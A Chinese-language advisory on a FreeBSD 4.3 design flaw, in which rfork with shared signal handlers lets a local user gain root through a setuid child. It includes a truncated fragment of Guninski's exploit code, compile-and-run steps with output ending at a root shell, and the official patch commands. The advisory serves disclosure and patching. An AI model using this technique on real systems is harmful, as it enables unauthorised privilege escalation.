本地攻擊者利用FreeBSD4.3設計漏洞取得系統(tǒng)特權
更新時間:2006年11月03日 00:00:00 作者:
發(fā)現 FreeBSD 4.3 存在一個設計上的漏洞,它允許用戶在其它進程中插入 signal handlers。問題出在 rfork(RFPROC|RFSIGSHARE) ,如果子進程 exec() 一個 setuid 程序,然后父進程設置一個 signal handlers,這個 signal handlers 將會在子進程中被復制。發(fā)送一個信號給子進程將能導致 signal handlers 被執(zhí)行。
利用此漏洞,本地攻擊者能取得 root 權限。
以下代碼僅僅用來測試和研究這個漏洞,如果您將其用于不正當的途徑請后果自負
-------------vvfreebsd.c----------------------
/}
}
printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);
if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
kill(pid,MYSIG);
printf("done\n");
while(42);
}
...............................
.........................
.............
受影響版本:
FreeBSD 4.3 4.2 4.1 4.0
早期版本也許受影響
解決方案:
尚無
****** 2001-07-14 add by NetDemon(netdemon@20cn.net) ******
測試程序使用方法:
netdemon%gcc -o vvbsd vvbsd.c
netdemon%cp /bin/sh /tmp
netdemon%./vvbsd
vvfreebsd. Written by Georgi Guninski
shall jump to bfbffe71
child=61056
login:
login: # done
#
FreeBSD以此作出補丁
方法:
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:42/signal-4.3.patch.asc
# cd /usr/src/sys/kern
# patch -p < /path/to/patch

